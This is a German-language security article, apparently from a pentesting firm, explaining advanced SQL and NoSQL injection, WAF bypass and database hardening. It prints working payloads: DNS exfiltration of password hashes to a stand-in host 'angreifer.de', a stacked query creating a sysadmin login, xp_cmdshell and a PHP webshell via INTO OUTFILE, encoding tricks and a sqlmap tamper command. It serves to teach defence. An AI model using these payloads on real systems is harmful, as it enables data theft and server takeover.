Eine einzige SQL-Injection-Schwachstelle kann Millionen von Datensätzen exponieren — und in vielen Fällen sogar Remote Code Execution ermöglichen.
Fortgeschrittene Injection-Techniken — jenseits von ' OR 1=1
Second-Order SQL Injection ist eine der am schwierigsten zu erkennenden Varianten. Im Gegensatz zur klassischen („First-Order“) Injection, bei der der bösartige Input direkt in der aktuellen Query ausgeführt wird, wird bei Second-Order Injection der Input zunächst sicher gespeichert (z. B. in einer Datenbank) und erst später in einer anderen Query ohne Sanitisierung verwendet. Beispiel: Ein Benutzer registriert sich mit dem Benutzernamen admin'--. Die Registrierung verwendet Prepared Statements und ist sicher. Später wird der Benutzername aus der Datenbank gelesen und in eine Passwort-Änderungs-Query eingefügt: UPDATE users SET password='NEUES_PW' WHERE username='admin'--'. Das -- kommentiert die restliche Query aus, und der Angreifer setzt das Passwort des admin-Accounts. Der Schlüssel: Die Schwachstelle liegt nicht in der Eingabe, sondern in der Verwendung der gespeicherten Daten.
Time-Based Blind SQL Injection ermöglicht die Datenextraktion auch dann, wenn die Anwendung weder Fehlermeldungen noch Daten zurückgibt — allein über die Antwortzeit. Der Angreifer sendet Queries wie IF(SUBSTRING(@@version,1,1)='5', WAITFOR DELAY '0:0:5', 0) (MSSQL) oder IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64, SLEEP(2), 0) (MySQL). Wenn die Antwort 5 Sekunden verzögert ist, ist die Bedingung wahr. Durch binäre Suche (ist der ASCII-Wert >64? >96? >112?) werden 7-8 Requests pro Zeichen benötigt. Ein 32-Zeichen-Passwort-Hash kann in ca. 250 Requests — bei 5-Sekunden-Delays in ca. 20 Minuten — extrahiert werden.
- Out-of-Band (OOB) Exfiltration über DNS: Wenn weder Error-basierte noch Time-basierte Injection möglich ist, können Daten über DNS-Anfragen exfiltriert werden. MSSQL:
exec master..xp_dirtree '\\'+((SELECT TOP 1 password FROM users))+'.angreifer.de\share'— der Server führt eine DNS-Auflösung fürPASSWORT-HASH.angreifer.dedurch. Oracle:SELECT UTL_HTTP.REQUEST('http://'||(SELECT password FROM users WHERE rownum=1)||'.angreifer.de/') FROM dual. MySQL:SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.angreifer.de\\share'))(nur auf Windows mit NTLM). - Stacked Queries — Multiple Statements: In MSSQL und PostgreSQL können mehrere SQL-Statements durch Semikolon getrennt werden. Dies ermöglicht nicht nur Datenextraktion, sondern auch Datenmanipulation, Schema-Änderungen und Systemzugriff:
'; CREATE LOGIN hacker WITH PASSWORD='P@ss123'; EXEC sp_addsrvrolemember 'hacker','sysadmin';--erstellt einen neuen SA-Account in MSSQL. In MySQL und Oracle funktionieren Stacked Queries in den meisten Treibern nicht — ein wichtiger Unterschied bei der Risikobewertung. - SQL Injection zu Remote Code Execution (RCE): MSSQL:
EXEC xp_cmdshell 'whoami'— führt Betriebssystem-Befehle aus (muss ggf. zuerst aktiviert werden:EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;). MySQL:SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'— schreibt eine Webshell (erfordert FILE-Privileg). PostgreSQL:COPY (SELECT '') TO PROGRAM 'id'— führt Befehle als postgres-Benutzer aus. Jede SQL-Injection-Schwachstelle ist daher potenziell eine RCE-Schwachstelle. - NoSQL Injection (MongoDB): Auch NoSQL-Datenbanken sind anfällig:
{"username": {"$ne": ""}, "password": {"$ne": ""}}umgeht die Authentifizierung, da$ne(not equal) für jeden nicht-leeren Wert TRUE ergibt.{"username": {"$regex": "^admin"}}ermöglicht Enumeration.{"$where": "this.password.match(/^a/)"}erlaubt JavaScript-Injection in MongoDB. Verteidigung: Input-Validierung gegen MongoDB-Operatoren ($gt,$ne,$regex,$where).
WAF-Bypass & Evasion — Sicherheitsfilter umgehen
Web Application Firewalls (WAFs) erkennen SQL-Injection-Versuche typischerweise über Signatur-basierte Erkennung (Blacklists für Schlüsselwörter wie UNION SELECT, OR 1=1) und Anomalie-Erkennung. Fortgeschrittene Angreifer kennen Dutzende von Bypass-Techniken. Unicode-Normalisierung ist eine der effektivsten: Statt UNION kann UNI%u004FN oder UN%C4%B0ON (türkisches I) verwendet werden — die WAF erkennt das Schlüsselwort nicht, aber der Datenbankserver normalisiert den Unicode-String zu UNION. Kommentar-Evasion ist ähnlich effektiv: UN/**/ION SEL/**/ECT oder MySQL-spezifisch /*!50000UNION*/ /*!50000SELECT*/ (Versionierte Kommentare, die nur ab MySQL 5.0 ausgeführt werden).
Eine weitere Kategorie sind alternative Encoding-Methoden: Hex-Encoding (0x756E696F6E statt union), Double URL-Encoding (%2527 statt %27 statt '), Overlong UTF-8 (%c0%a7 statt ') und JSON/XML-Einbettung (SQL in JSON-Feldern, die der WAF nicht parst). Für MSSQL sind alternative Funktionen besonders effektiv: Statt CONCAT() verwenden Sie +, statt SUBSTRING() verwenden Sie STUFF(), statt SLEEP() verwenden Sie WAITFOR DELAY. Das Tool sqlmap bietet mit dem --tamper-Parameter über 50 eingebaute Evasion-Skripte: sqlmap -u "http://target/page?id=1" --tamper=space2comment,charunicodeescape --random-agent.
- Whitespace-Alternativen: Wenn die WAF Leerzeichen in SQL-Kontext blockiert: MySQL akzeptiert
%09(Tab),%0a(Newline),%0c(Form Feed),%0d(Carriage Return) und Klammern()als Whitespace. Beispiel:UNION(SELECT(1),(2),(3))— kein einziges Leerzeichen. PostgreSQL:SELECT$$version$$(Dollar-Quoting). Oracle:UNION%0aSELECT%0a1,2,3%0aFROM%0adual. - HTTP Parameter Pollution (HPP): Wenn die WAF den URL-Parameter
id=1 UNION SELECT...blockiert, senden Sieid=1&id=UNION&id=SELECT...— manche Application-Server (IIS/ASP.NET) verketten doppelte Parameter mit Komma, während die WAF nur den ersten Wert prüft. Variante: HTTP Request Smuggling — unterschiedliche Interpretation der Content-Length/Transfer-Encoding-Header zwischen WAF und Backend. - WAF-Fingerprinting: Bevor Sie Bypass-Techniken testen, identifizieren Sie die WAF:
wafw00f http://target(WAFW00F-Tool). Jede WAF hat spezifische Bypass-Schwachstellen. Cloudflare: Unicode-Normalisierung und Comment-Evasion. AWS WAF: JSON-basierte Injection („JSON SQL Injection“, erst 2023 gepatcht). ModSecurity/OWASP CRS: Paranoia-Level-abhängig — niedrige Level sind leicht zu umgehen. - Prepared Statements — die einzig sichere Lösung: WAFs sind keine zuverlässige Verteidigung gegen SQL Injection. Die einzige sichere Lösung sind Parameterized Queries / Prepared Statements: PHP/PDO:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);. Java:PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?"); ps.setInt(1, id);. Python:cursor.execute("SELECT * FROM users WHERE id = %s", (id,)). Der Parameter wird nie als SQL interpretiert — kein Bypass möglich.
Datenbank-Härtung — Defense in Depth
Selbst wenn die Anwendungsschicht sicher ist, muss die Datenbankschicht gehärtet werden — als letzte Verteidigungslinie. Das wichtigste Prinzip ist Least Privilege: Der Datenbank-Benutzer der Webanwendung sollte nur die minimal notwendigen Rechte haben. In der Praxis sehen wir häufig Webanwendungen, die mit dem sa-Account (MSSQL), root (MySQL) oder postgres (PostgreSQL) laufen — mit vollem Zugriff auf alle Datenbanken, Systemtabellen und Betriebssystem-Funktionen. Stattdessen: Erstellen Sie einen dedizierten Benutzer mit nur SELECT/INSERT/UPDATE/DELETE auf den benötigten Tabellen — kein CREATE, kein DROP, kein FILE, kein EXECUTE auf Systemprozeduren.
- MSSQL Härtung:
xp_cmdshelldeaktivieren:EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;.OLE Automationdeaktivieren:EXEC sp_configure 'Ole Automation Procedures', 0;.CLR Integrationdeaktivieren (wenn nicht benötigt):EXEC sp_configure 'clr enabled', 0;. Ad Hoc Distributed Queries deaktivieren. Transparent Data Encryption (TDE) für at-rest-Verschlüsselung aktivieren.sa-Account umbenennen und deaktivieren. - PostgreSQL Härtung:
pg_hba.conf: Nur spezifische IPs erlauben, md5 oder scram-sha-256 statttrust.COPY TO PROGRAMeinschränken (nur Superuser).log_statement = 'all'für vollständiges Query-Logging.ssl = onfür verschlüsselte Verbindungen. Row-Level Security (RLS) für Multi-Tenant-Anwendungen.ALTER SYSTEM SET shared_preload_libraries = 'pg_stat_statements'für Query-Monitoring. - MySQL Härtung:
local_infile = 0(verhindert LOAD DATA LOCAL — Datei-Lese-Angriffe).secure_file_priv = /dev/null(verhindert INTO OUTFILE/LOAD_FILE).skip-symbolic-links = 1(verhindert Symlink-Angriffe).mysql_secure_installationausführen (entfernt anonyme Benutzer, Test-Datenbank, Remote-Root-Login). Audit-Plugin aktivieren:INSTALL PLUGIN audit_log SONAME 'audit_log.so';. - Datenbank-Audit und Monitoring: Loggen Sie alle fehlgeschlagenen Login-Versuche, DDL-Operationen (CREATE/ALTER/DROP), Zugriffe auf Systemtabellen und Queries, die länger als 10 Sekunden dauern (Time-based Injection). pgAudit (PostgreSQL), MySQL Enterprise Audit oder der kostenlose MariaDB Audit Plugin bieten granulares Query-Level-Logging. Für MSSQL: SQL Server Audit mit Server-Level und Database-Level Audit Specifications.
Sie benötigen Unterstützung?
Datenbank-Sicherheit erfordert Expertise auf Anwendungs- und Infrastrukturebene. Wir führen SQL-Injection-Penetrationstests durch, härten Ihre Datenbankserver nach CIS-Benchmark und implementieren Audit-Logging und Monitoring.
Datenbank ansehen →
